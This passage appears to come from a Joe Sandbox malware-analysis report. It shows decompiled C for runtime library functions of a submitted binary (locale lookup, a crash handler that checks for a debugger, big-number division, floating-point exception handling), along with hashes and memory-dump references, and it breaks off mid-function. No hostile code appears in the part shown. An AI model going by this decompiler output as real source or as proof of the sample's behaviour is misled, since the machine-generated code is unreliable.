0x00000000
0x001c1505
0x001c14fd
0x001c1503
0x00000000
0x001c1503
0x001c13f7
0x001c140d
0x00000000
0x00000000
0x001c141d
0x001c1424
0x001c1428
0x001c143a
0x00000000
0x00000000
0x001c1440
0x001c1484
0x001c1484
0x001c1489
0x00000000
0x001c1496
0x001c1499
0x00000000
0x001c1499
0x001c1489
0x001c144f
0x001c1454
0x001c1459
0x00000000
0x00000000
0x001c145b
0x001c145e
0x001c1461
0x001c1464
0x001c1467
0x001c1467
0x001c146a
0x001c146d
0x001c147d
0x001c147f
0x001c147f
0x001c142a
0x001c1430
0x001c1433
0x001c149b
0x001c149b
0x001c149b

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001C13BB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001C1405
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001C14CB

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: fc01f885c55116a7db579ab39b7c298171c6fc088e94f3b2c0b67ed030a1e0f7
Instruction ID: 6e4a3f9fc5b32cd2326b2272d5562c232553ddc254384ba264056f2c706bac80
Opcode Fuzzy Hash: fc01f885c55116a7db579ab39b7c298171c6fc088e94f3b2c0b67ed030a1e0f7
Instruction Fuzzy Hash: 3661B171A80207AFDB289F28CC82FBA77A9EF66300F14417DE906C6586F734D995CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001AFC47 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E001AFC47(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x1d5010; // 0x8121a627
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E001AA249(_t41);
					_pop(_t61);
				}
				E001AAF60(_t66,  &_v804, 0, 0x50);
				E001AAF60(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E001AA249(_t57);
				}
				return E001A9545(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x001afc47
0x001afc47
0x001afc47
0x001afc52
0x001afc57
0x001afc59
0x001afc61
0x001afc63
0x001afc66
0x001afc6b
0x001afc6b
0x001afc77
0x001afc8a
0x001afc98
0x001afc9e
0x001afca4
0x001afcaa
0x001afcb0
0x001afcb6
0x001afcbc
0x001afcc2
0x001afcc8
0x001afcce
0x001afcd5
0x001afcdc
0x001afce3
0x001afcea
0x001afcf1
0x001afcf8
0x001afcf9
0x001afd02
0x001afd08
0x001afd0b
0x001afd11
0x001afd1e
0x001afd27
0x001afd30
0x001afd39
0x001afd47
0x001afd49
0x001afd5e
0x001afd6a
0x001afd6d
0x001afd72
0x001afd7f

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 001AFD3F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 001AFD49
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 001AFD56

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: dc6d1c75d589eeb1fda852ab713e99b37ac28aa536e37b4a274816d4eae04d22
Instruction ID: 908a6c41bdeb49f94e1694aa5836c26712dd8b0943b8e0fa01deafc83b60961f
Opcode Fuzzy Hash: dc6d1c75d589eeb1fda852ab713e99b37ac28aa536e37b4a274816d4eae04d22
Instruction Fuzzy Hash: 2231D47490122C9BCB61DF64DC89B8DBBB8BF19310F5041EAE41CA7291E7709F858F45

Uniqueness

Uniqueness Score: -1.00%

Function 001B26E0 Relevance: 3.4, APIs: 2, Instructions: 449
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E001B26E0(signed int* _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr* _v52;
				signed int _v56;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v540;
				signed int _v544;
				signed int* _t179;
				signed int _t181;
				intOrPtr _t182;
				signed int _t185;
				signed int* _t187;
				signed int _t189;
				unsigned int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t201;
				intOrPtr _t207;
				void* _t210;
				signed int _t212;
				signed int _t223;
				void* _t227;
				signed int _t230;
				intOrPtr* _t237;
				signed int _t238;
				signed int* _t239;
				signed int _t241;
				signed int _t243;
				signed int _t244;
				void* _t245;
				intOrPtr* _t246;
				signed int _t247;
				signed int _t252;
				unsigned int _t253;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				intOrPtr _t260;
				void* _t264;
				signed char _t270;
				intOrPtr* _t272;
				signed int _t276;
				signed int* _t277;
				signed int _t284;
				signed int _t285;
				signed int* _t288;
				signed int _t291;
				signed int _t293;
				intOrPtr* _t294;
				signed int _t298;
				signed int _t299;
				intOrPtr* _t300;
				signed int _t305;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t314;
				void* _t315;
				signed int _t316;
				signed int* _t323;
				signed int* _t325;
				signed int _t329;
				signed int _t331;
				signed int _t332;
				signed int _t334;
				void* _t335;
				signed int _t340;
				signed int _t345;
				intOrPtr* _t347;
				signed int* _t348;

				_t179 = _a4;
				_t329 =  *_t179;
				if(_t329 == 0) {
					L76:
					__eflags = 0;
					return 0;
				} else {
					_t237 = _a8;
					_t310 =  *_t237;
					_v72 = _t310;
					if(_t310 == 0) {
						goto L76;
					} else {
						_t4 = _t329 - 1; // 0x1cb
						_t252 = _t4;
						_v8 = _t252;
						_t311 = _t310 + 0xffffffff;
						if(_t311 != 0) {
							__eflags = _t311 - _t252;
							if(_t311 > _t252) {
								goto L76;
							} else {
								_t181 = _t252;
								_t284 = _t252 - _t311;
								__eflags = _t252 - _t284;
								if(_t252 < _t284) {
									L19:
									_t284 = _t284 + 1;
									__eflags = _t284;
								} else {
									_t345 =  &(_a4[1]);
									__eflags = _t345;
									_t272 = _t345 + _t252 * 4;
									_t46 = _t237 + 4; // 0x1c351a
									_t347 = _t46 + _t311 * 4;
									while(1) {
										__eflags =  *_t347 -  *_t272;
										if(__eflags != 0) {
											break;
										}
										_t181 = _t181 - 1;
										_t347 = _t347 - 4;
										_t272 = _t272 - 4;
										__eflags = _t181 - _t284;
										if(_t181 >= _t284) {
											continue;
										} else {
											goto L19;
										}
										goto L20;
									}
									if(__eflags < 0) {
										goto L19;
									}
								}
								L20:
								__eflags = _t284;
								if(__eflags == 0) {
									goto L76;
								} else {
									_t182 = _a8;
									_t238 = _v72;
									_t331 =  *(_t182 + _t238 * 4);
									_t54 = _t238 * 4; // 0xfffef1ca
									_t253 =  *(_t182 + _t54 - 4);
									asm("bsr eax, esi");
									_v44 = _t331;
									_v36 = _t253;
									if(__eflags == 0) {
										_t312 = 0x20;
									} else {
										_t312 = 0x1f - _t182;
									}
									_v12 = _t312;
									_v40 = 0x20 - _t312;
									__eflags = _t312;
									if(_t312 != 0) {
										_t270 = _t312;
										_v36 = _v36 << _t270;
										_v44 = _t331 << _t270 | _t253 >> _v40;
										__eflags = _t238 - 2;
										if(_t238 > 2) {
											_t67 = _t238 * 4; // 0xe850ffff
											_t69 =  &_v36;
											 *_t69 = _v36 |  *(_a8 + _t67 - 8) >> _v40;
											__eflags =  *_t69;
										}
									}
									_t332 = 0;
									_v32 = 0;
									_t285 = _t284 + 0xffffffff;
									__eflags = _t285;
									_v80 = _t285;
									if(_t285 >= 0) {
										_t187 = _a4;
										_t256 = _t285 + _t238;
										_v48 = _t256;
										_v52 = _t187 + (_t285 + 1) * 4;
										_t189 = _t187 + _t256 * 4 + 0xfffffffc;
										__eflags = _t189;
										_v28 = _t189;
										do {
											__eflags = _t256 - _v8;
											if(_t256 > _v8) {
												_t257 = 0;
												__eflags = 0;
											} else {
												_t257 =  *(_t189 + 8);
											}
											_t291 =  *(_t189 + 4);
											_t241 = _t257;
											_t190 =  *_t189;
											_v76 = _t257;
											_v56 = 0;
											_v20 = _t190;
											__eflags = _t312;
											if(_t312 != 0) {
												_t298 = _t241;
												_t212 = E001C6170(_t291, _v12, _t298);
												_t257 = _v12;
												_t241 = _t298;
												_t291 = _t190 >> _v40 | _t212;
												_t332 = _v20 << _t257;
												__eflags = _v48 - 3;
												_v20 = _t332;
												if(_v48 >= 3) {
													_t257 = _v40;
													_t332 = _t332 |  *(_v28 - 4) >> _t257;
													__eflags = _t332;
													_v20 = _t332;
												}
											}
											_push(_t241);
											_t191 = E001C60D0(_t291, _t241, _v44, 0);
											_v56 = _t241;
											_t243 = _t191;
											_t334 = _t332 ^ _t332;
											_t192 = _t291;
											_v24 = _t243;
											_v16 = _t192;
											_t314 = _t257;
											_v68 = _t243;
											_v64 = _t192;
											_v56 = _t334;
											__eflags = _t192;
											if(_t192 != 0) {
												L37:
												_t244 = _t243 + 1;
												asm("adc eax, 0xffffffff");
												_t314 = _t314 + E001A9D20(_t244, _t192, _v44, 0);
												asm("adc esi, edx");
												_t243 = _t244 | 0xffffffff;
												_t192 = 0;
												__eflags = 0;
												_v56 = _t334;
												_v24 = _t243;
												_v68 = _t243;
												_v16 = 0;
												_v64 = 0;
											} else {
												__eflags = _t243 - 0xffffffff;
												if(_t243 > 0xffffffff) {
													goto L37;
												}
											}
											__eflags = _t334;
											if(__eflags <= 0) {
												if(__eflags < 0) {
													goto L42;
												} else {
													__eflags = _t314 - 0xffffffff;
													if(_t314 <= 0xffffffff) {
														while(1) {
															L42:
															_v24 = _v20;
															_t210 = E001A9D20(_v36, 0, _t243, _t192);
															__eflags = _t291 - _t314;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L45:
																_t192 = _v16;
																_t243 = _t243 + 0xffffffff;
																_v68 = _t243;
																asm("adc eax, 0xffffffff");
																_t314 = _t314 + _v44;
																__eflags = _t314;
																_v16 = _t192;
																asm("adc dword [ebp-0x34], 0x0");
																_v64 = _t192;
																if(_t314 == 0) {
																	__eflags = _t314 - 0xffffffff;
																	if(_t314 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t210 - _v24;
																if(_t210 <= _v24) {
																	break;
																} else {
																	goto L45;
																}
															}
															L49:
															_v24 = _t243;
															goto L50;
														}
														_t192 = _v16;
														goto L49;
													}
												}
											}
											L50:
											__eflags = _t192;
											if(_t192 != 0) {
												L52:
												_t258 = _v72;
												_t315 = 0;
												_t335 = 0;
												__eflags = _t258;
												if(_t258 != 0) {
													_t246 = _v52;
													_t201 = _a8 + 4;
													__eflags = _t201;
													_v56 = _t201;
													_v20 = _t258;
													do {
														_v8 =  *_t201;
														_t207 =  *_t246;
														_t264 = _t315 + _v68 * _v8;
														asm("adc esi, edx");
														_t315 = _t335;
														_t335 = 0;
														__eflags = _t207 - _t264;
														if(_t207 < _t264) {
															_t315 = _t315 + 1;
															asm("adc esi, esi");
														}
														 *_t246 = _t207 - _t264;
														_t246 = _t246 + 4;
														_t201 = _v56 + 4;
														_t143 =  &_v20;
														 *_t143 = _v20 - 1;
														__eflags =  *_t143;
														_v56 = _t201;
													} while ( *_t143 != 0);
													_t243 = _v24;
													_t258 = _v72;
												}
												__eflags = 0 - _t335;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L61:
														__eflags = _t258;
														if(_t258 != 0) {
															_t245 = 0;
															_t294 = _v52;
															_t340 = _a8 + 4;
															__eflags = _t340;
															_t316 = _t258;
															do {
																_t260 =  *_t294;
																_t151 = _t340 + 4; // 0x8d8b5959
																_t340 = _t151;
																_t294 = _t294 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t294 - 4)) = _t260 +  *((intOrPtr*)(_t340 - 4)) + _t245;
																asm("adc eax, 0x0");
																_t245 = 0;
																_t316 = _t316 - 1;
																__eflags = _t316;
															} while (_t316 != 0);
															_t243 = _v24;
														}
														_t243 = _t243 + 0xffffffff;
														asm("adc dword [ebp-0xc], 0xffffffff");
													} else {
														__eflags = _v76 - _t315;
														if(_v76 < _t315) {
															goto L61;
														}
													}
												}
												_t259 = _v48;
												_v8 = _t259 - 1;
											} else {
												__eflags = _t243;
												if(_t243 == 0) {
													_t259 = _v48;
												} else {
													goto L52;
												}
											}
											_t332 = _v32;
											_t312 = _v12;
											asm("adc esi, 0x0");
											_v32 = 0 + _t243;
											_t293 = _v80 - 1;
											_v52 = _v52 - 4;
											_t256 = _t259 - 1;
											_t189 = _v28 - 4;
											_v80 = _t293;
											_v48 = _t256;
											_v28 = _t189;
											__eflags = _t293;
										} while (_t293 >= 0);
									}
									_t239 = _a4;
									_t255 = _v8 + 1;
									_t185 = _t255;
									__eflags = _t185 -  *_t239;
									if(_t185 <  *_t239) {
										_t288 =  &(( &(_t239[1]))[_t185]);
										do {
											 *_t288 = 0;
											_t288 =  &(_t288[1]);
											_t185 = _t185 + 1;
											__eflags = _t185 -  *_t239;
										} while (_t185 <  *_t239);
									}
									 *_t239 = _t255;
									__eflags = _t255;
									if(_t255 != 0) {
										while(1) {
											__eflags = _t239[_t255];
											if(_t239[_t255] != 0) {
												goto L75;
											}
											_t255 = _t255 + 0xffffffff;
											__eflags = _t255;
											 *_t239 = _t255;
											if(_t255 != 0) {
												continue;
											}
											goto L75;
										}
									}
									L75:
									return _v32;
								}
							}
						} else {
							_t6 = _t237 + 4; // 0xfffff8a4
							_t299 =  *_t6;
							_v8 = _t299;
							if(_t299 != 1) {
								__eflags = _t252;
								if(_t252 != 0) {
									_t247 = 0;
									_v12 = 0;
									_t323 = 0;
									_v28 = 0;
									__eflags = _t252 - 0xffffffff;
									if(_t252 != 0xffffffff) {
										_t276 = _t252 + 1;
										__eflags = _t276;
										_t277 =  &(_t179[_t276]);
										_v32 = _t277;
										do {
											_push(_t247);
											_t227 = E001C60D0( *_t277, _t323, _t299, 0);
											_v28 = _t247;
											_t247 = _v12;
											_t323 = _t277;
											_v64 = _t299;
											_v12 = 0 + _t227;
											_t299 = _v8;
											asm("adc ebx, 0x0");
											_t277 = _v32 - 4;
											_v32 = _t277;
											_t329 = _t329 - 1;
											__eflags = _t329;
										} while (_t329 != 0);
										_t179 = _a4;
									}
									_t36 =  &(_t179[1]); // 0x4
									_t348 = _t36;
									 *_t179 = 0;
									_v544 = 0;
									E001B1F5E(_t348, 0x1cc,  &_v540, 0);
									_t223 = _v28;
									_t300 = _a4;
									__eflags = 0 - _t223;
									 *_t348 = _t323;
									asm("sbb ecx, ecx");
									 *(_t300 + 8) = _t223;
									__eflags =  ~0x00000000;
									 *_t300 = 0xbadbae;
									return _v12;
								} else {
									_t325 =  &(_t179[1]);
									 *_t179 = _t252;
									_v544 = _t252;
									E001B1F5E(_t325, 0x1cc,  &_v540, _t252);
									_t230 = _t179[1];
									_t305 = _t230 % _v8;
									 *_t325 = _t305;
									__eflags = 0 - _t305;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_a4 =  ~0x00000000;
									return _t230 / _v8;
								}
							} else {
								 *_t179 = _t311;
								_v544 = _t311;
								E001B1F5E( &(_t179[1]), 0x1cc,  &_v540, _t311);
								return _t179[1];
							}
						}
					}
				}
			}

0x001b26e5
0x001b26f0
0x001b26f5
0x001b2b5d
0x001b2b61
0x001b2b67
0x001b26fb
0x001b26fb
0x001b26fe
0x001b2700
0x001b2705
0x00000000
0x001b270b
0x001b270b
0x001b270b
0x001b270e
0x001b2711
0x001b2714
0x001b283b
0x001b283d
0x00000000
0x001b2843
0x001b2845
0x001b2847
0x001b2849
0x001b284b
0x001b2875
0x001b2875
0x001b2875
0x001b284d
0x001b2850
0x001b2850
0x001b2853
0x001b2856
0x001b2859
0x001b2860
0x001b2862
0x001b2864
0x00000000
0x00000000
0x001b2866
0x001b2867
0x001b286a
0x001b286d
0x001b286f
0x00000000
0x001b2871
0x00000000
0x001b2871
0x00000000
0x001b286f
0x001b2873
0x00000000
0x00000000
0x001b2873
0x001b2876
0x001b2876
0x001b2878
0x00000000
0x001b287e
0x001b287e
0x001b2881
0x001b2884
0x001b2887
0x001b2887
0x001b288b
0x001b288e
0x001b2891
0x001b2894
0x001b289f
0x001b2896
0x001b289b
0x001b289b
0x001b28a9
0x001b28ae
0x001b28b1
0x001b28b3
0x001b28bc
0x001b28be
0x001b28c5
0x001b28c8
0x001b28cb
0x001b28d3
0x001b28d9
0x001b28d9
0x001b28d9
0x001b28d9
0x001b28cb
0x001b28dc
0x001b28de
0x001b28e5
0x001b28e5
0x001b28e8
0x001b28eb
0x001b28f1
0x001b28f4
0x001b28f8
0x001b2901
0x001b2904
0x001b2904
0x001b2907
0x001b2910
0x001b2910
0x001b2913
0x001b291a
0x001b291a
0x001b2915
0x001b2915
0x001b2915
0x001b291c
0x001b291f
0x001b2921
0x001b2923
0x001b2926
0x001b292d
0x001b2930
0x001b2932
0x001b2940
0x001b2944
0x001b2949
0x001b294e
0x001b2955
0x001b2957
0x001b2959
0x001b295d
0x001b2960
0x001b2965
0x001b296d
0x001b296d
0x001b296f
0x001b296f
0x001b2960
0x001b2972
0x001b297a
0x001b297f
0x001b2984
0x001b2986
0x001b2988
0x001b298a
0x001b298d
0x001b2990
0x001b2992
0x001b2995
0x001b2998
0x001b299b
0x001b299d
0x001b29a4
0x001b29a9
0x001b29ac
0x001b29b6
0x001b29b8
0x001b29ba
0x001b29bd
0x001b29bd
0x001b29bf
0x001b29c2
0x001b29c5
0x001b29c8
0x001b29cb
0x001b299f
0x001b299f
0x001b29a2
0x00000000
0x00000000
0x001b29a2
0x001b29ce
0x001b29d0
0x001b29d2
0x00000000
0x001b29d4
0x001b29d4
0x001b29d7
0x001b29e0
0x001b29e0
0x001b29ee
0x001b29f1
0x001b29f6
0x001b29f8
0x00000000
0x00000000
0x001b29fa
0x001b2a01
0x001b2a01
0x001b2a04
0x001b2a07
0x001b2a0a
0x001b2a0d
0x001b2a0d
0x001b2a10
0x001b2a13
0x001b2a17
0x001b2a1a
0x001b2a1c
0x001b2a1f
0x00000000
0x00000000
0x001b2a21
0x001b2a1f
0x001b29fc
0x001b29fc
0x001b29ff
0x00000000
0x00000000
0x00000000
0x00000000
0x001b29ff
0x001b2a26
0x001b2a26
0x00000000
0x001b2a26
0x001b2a23
0x00000000
0x001b2a23
0x001b29d7
0x001b29d2
0x001b2a29
0x001b2a29
0x001b2a2b
0x001b2a35
0x001b2a35
0x001b2a38
0x001b2a3a
0x001b2a3c
0x001b2a3e
0x001b2a43
0x001b2a46
0x001b2a46
0x001b2a49
0x001b2a4c
0x001b2a50
0x001b2a52
0x001b2a67
0x001b2a69
0x001b2a6b
0x001b2a6d
0x001b2a6f
0x001b2a71
0x001b2a73
0x001b2a75
0x001b2a78
0x001b2a78
0x001b2a7c
0x001b2a7e
0x001b2a84
0x001b2a87
0x001b2a87
0x001b2a87
0x001b2a8b
0x001b2a8b
0x001b2a90
0x001b2a93
0x001b2a93
0x001b2a98
0x001b2a9a
0x001b2a9c
0x001b2aa3
0x001b2aa3
0x001b2aa5
0x001b2aaa
0x001b2aac
0x001b2aaf
0x001b2aaf
0x001b2ab2
0x001b2ab4
0x001b2ab4
0x001b2ab6
0x001b2ab6
0x001b2abb
0x001b2ac1
0x001b2ac5
0x001b2ac8
0x001b2acb
0x001b2acd
0x001b2acd
0x001b2acd
0x001b2ad2
0x001b2ad2
0x001b2ad5
0x001b2ad8
0x001b2a9e
0x001b2a9e
0x001b2aa1
0x00000000
0x00000000
0x001b2aa1
0x001b2a9c
0x001b2adc
0x001b2ae2
0x001b2a2d
0x001b2a2d
0x001b2a2f
0x001b2ae7
0x00000000
0x00000000
0x00000000
0x001b2a2f
0x001b2aea
0x001b2af4
0x001b2af7
0x001b2afa
0x001b2b00
0x001b2b01
0x001b2b05
0x001b2b06
0x001b2b09
0x001b2b0c
0x001b2b0f
0x001b2b12
0x001b2b12
0x001b2910
0x001b2b1d
0x001b2b20
0x001b2b21
0x001b2b23
0x001b2b25
0x001b2b2a
0x001b2b30
0x001b2b30
0x001b2b36
0x001b2b39
0x001b2b3a
0x001b2b3a
0x001b2b30
0x001b2b3e
0x001b2b40
0x001b2b42
0x001b2b44
0x001b2b44
0x001b2b48
0x00000000
0x00000000
0x001b2b4a
0x001b2b4a
0x001b2b4d
0x001b2b4f
0x00000000
0x00000000
0x00000000
0x001b2b4f
0x001b2b44
0x001b2b51
0x001b2b5c
0x001b2b5c
0x001b2878
0x001b271a
0x001b271a
0x001b271a
0x001b271d
0x001b2723
0x001b2754
0x001b2756
0x001b279b
0x001b279d
0x001b27a4
0x001b27a6
0x001b27a9
0x001b27ac
0x001b27ae
0x001b27ae
0x001b27af
0x001b27b2
0x001b27b5
0x001b27b5
0x001b27bf
0x001b27c4
0x001b27c9
0x001b27cc
0x001b27d1
0x001b27d8
0x001b27db
0x001b27de
0x001b27e1
0x001b27e4
0x001b27e7
0x001b27e7
0x001b27e7
0x001b27ec
0x001b27ec
0x001b27ef
0x001b27ef
0x001b27f2
0x001b2800
0x001b2811
0x001b2816
0x001b281c
0x001b2821
0x001b2823
0x001b2825
0x001b2829
0x001b282f
0x001b2831
0x001b283a
0x001b2758
0x001b275b
0x001b275f
0x001b276e
0x001b2774
0x001b2779
0x001b277d
0x001b2788
0x001b278a
0x001b278c
0x001b2790
0x001b2793
0x001b279a
0x001b279a
0x001b2725
0x001b272b
0x001b273b
0x001b2741
0x001b2753
0x001b2753
0x001b2723
0x001b2714
0x001b2705

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72baab00484ba96210224a5428e3a330a8bc59586f0feaab5972f7056957d12f
Instruction ID: 44adf5a9e323ecc4ad6c3e6bd48a32e2797fc42a0b813bd65c5d02ad1ab695a1
Opcode Fuzzy Hash: 72baab00484ba96210224a5428e3a330a8bc59586f0feaab5972f7056957d12f
Instruction Fuzzy Hash: C7F13E71E002199FDF14CFA9C990AEDB7B1FF88314F158269E819AB390D730AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001B80B5 Relevance: 1.8, APIs: 1, Instructions: 274
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E001B80B5(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E001B86EB(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
